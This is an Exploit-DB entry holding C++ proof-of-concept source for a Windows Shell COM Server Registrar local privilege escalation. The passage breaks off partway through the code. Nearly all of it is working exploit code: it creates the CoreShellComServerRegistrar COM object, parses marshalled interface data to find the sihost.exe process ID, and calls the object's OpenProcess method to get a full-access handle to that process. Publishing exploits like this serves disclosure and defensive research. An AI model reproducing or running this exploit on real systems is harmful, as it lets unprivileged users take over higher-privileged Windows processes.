Exploit-DB #47880
Description: Microsoft Windows - Shell COM Server Registrar Local Privilege Escalation
Type: local
Platform: windows
Date: 2020-01-02
Author: 0vercl0k

Exploit:
// Axel '0vercl0k' Souchet - December 28 2019
// References:
//  - Found by an anonymous researcher, written up by Simon '@HexKitchen' Zuckerbraun
//    - https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object
//  - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sserver/sserver.cpp
//  - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sclient/sclient.cpp

#include <windows.h>
#include <cstdint>
#include <atlbase.h>

// 54E14197-88B0-442F-B9A3-86837061E2FB
// .rdata:[PII_REDACTED] CLSID_CoreShellComServerRegistrar dd 54E14197h  ; Data1
// .rdata:[PII_REDACTED]   dw 88B0h                                      ; Data2
// .rdata:[PII_REDACTED]   dw 442Fh                                      ; Data3
// .rdata:[PII_REDACTED]   db 0B9h, 0A3h, 86h, 83h, 70h, 61h, 0E2h, 0FBh ; Data4
const GUID CLSID_CoreShellComServerRegistrar = {
    0x54e14197, 0x88b0, 0x442f, {
        0xb9, 0xa3, 0x86, 0x83, 0x70, 0x61, 0xe2, 0xfb
}};

// 27EB33A5-77F9-4AFE-AE056-FDBBE720EE7
// .rdata:[PII_REDACTED]0140B8 GuidICOMServerRegistrar dd 27EB33A5h          ; Data1
// .rdata:[PII_REDACTED]0140B8   dw 77F9h                                    ; Data2
// .rdata:[PII_REDACTED]0140B8   dw 4AFEh                                    ; Data3
// .rdata:[PII_REDACTED]0140B8   db 0AEh, 5, 6Fh, 0DBh, 0BEh, 72h, 0Eh, 0E7h ; Data4
MIDL_INTERFACE("27EB33A5-77F9-4AFE-AE05-6FDBBE720EE7")
ICoreShellComServerRegistrar : public IUnknown {
    // 0:015> dqs 00007ff8`3fe526e8
    // [...]
    // 00007ff8`3fe52730  00007ff8`3fe4a5e0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::QueryInterface
    // 00007ff8`3fe52738  00007ff8`3fe4a6d0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::AddRef
    // 00007ff8`3fe52740  00007ff8`3fe4a680 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::Release
    // 00007ff8`3fe52748  00007ff8`3fe47260 CoreShellExtFramework!CoreShellComServerRegistrar::RegisterCOMServer
    // 00007ff8`3fe52750  00007ff8`3fe476b0 CoreShellExtFramework!CoreShellComServerRegistrar::UnregisterCOMServer
    // 00007ff8`3fe52758  00007ff8`3fe477f0 CoreShellExtFramework!CoreShellComServerRegistrar::DuplicateHandle
    // 00007ff8`3fe52760  00007ff8`3fe47920 CoreShellExtFramework!CoreShellComServerRegistrar::OpenProcess
    virtual HRESULT STDMETHODCALLTYPE RegisterCOMServer() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnregisterCOMServer() = 0;
    virtual HRESULT STDMETHODCALLTYPE DuplicateHandle() = 0;
    virtual HRESULT STDMETHODCALLTYPE OpenProcess(
        const uint32_t DesiredAccess,
        const bool InheritHandle,
        const uint32_t ArbitraryPid,
        const uint32_t TargetProcessId,
        HANDLE *ProcessHandle
    ) = 0;
};

struct Marshalled_t {
    uint32_t Meow;
    uint32_t ObjRefType;
    GUID IfaceId;
    uint32_t Flags;
    uint32_t References;
    uint64_t Oxid;
    uint64_t Oid;
    union {
        uint64_t IfacePointerIdLow;
        struct {
            uint64_t _Dummy1 : 32;
            uint64_t ServerPid : 16;
        };
    };

    uint64_t IfacePointerIdHigh;
};

int main() {

    //
    // Initialize COM.
    //

    HRESULT Hr = CoInitialize(nullptr);
    if(FAILED(Hr)) {
        printf("Failed to initialize COM.\nThis might be the best thing that happened in your life, carry on and never look back.");
        return EXIT_FAILURE;
    }

    //
    // Instantiate an out-of-proc instance of `ICoreShellComServerRegistrar`.
    //

    CComPtr<ICoreShellComServerRegistrar> ComServerRegistrar;
    Hr = ComServerRegistrar.CoCreateInstance(
        CLSID_CoreShellComServerRegistrar,
        nullptr,
        CLSCTX_LOCAL_SERVER
    );

    if(FAILED(Hr)) {
        printf("You are probably not vulnerable (%08x) bailing out.", Hr);
        return EXIT_FAILURE;
    }

    //
    // We don't use the copy ctor here to avoid leaking the object as the returned
    // stream already has its refcount bumped by `SHCreateMemStream`.
    //

    CComPtr<IStream> Stream;
    Stream.Attach(SHCreateMemStream(nullptr, 0));

    //
    // Get the marshalled data for the `ICoreShellComServerRegistrar` interface, so
    // that we can extract the PID of the COM server (sihost.exe) in this case.
    // https://twitter.com/tiraniddo/status/[PII_REDACTED]82488833
    //

    Hr = CoMarshalInterface(
        Stream,
        __uuidof(ICoreShellComServerRegistrar),
        ComServerRegistrar,
        MSHCTX_LOCAL,
        nullptr,
        MSHLFLAGS_NORMAL
    );

    if(FAILED(Hr)) {
        printf("Failed to marshal the interface (%08x) bailing out.", Hr);
        return EXIT_FAILURE;
    }

    //
    // Read the PID out of the blob now.
    //

    const LARGE_INTEGER Origin {};
    Hr = Stream->Seek(Origin, STREAM_SEEK_SET, nullptr);

    uint8_t Buffer[0x1000] {};
    Hr = Stream->Read(Buffer, sizeof(Buffer), nullptr);

    union {
        Marshalled_t *Blob;
        void *Raw;
    } Ptr;

    Ptr.Raw = Buffer;
    const uint32_t SihostPid = Ptr.Blob->ServerPid;

    //
    // Ready to get a `PROCESS_ALL_ACCESS` handle to the server now!
    //

    HANDLE ProcessHandle;
    Hr = ComServerRegistrar->OpenProcess(
        PROCESS_ALL_ACCESS,
        false,
        SihostPid,
        GetCurrentProcessId()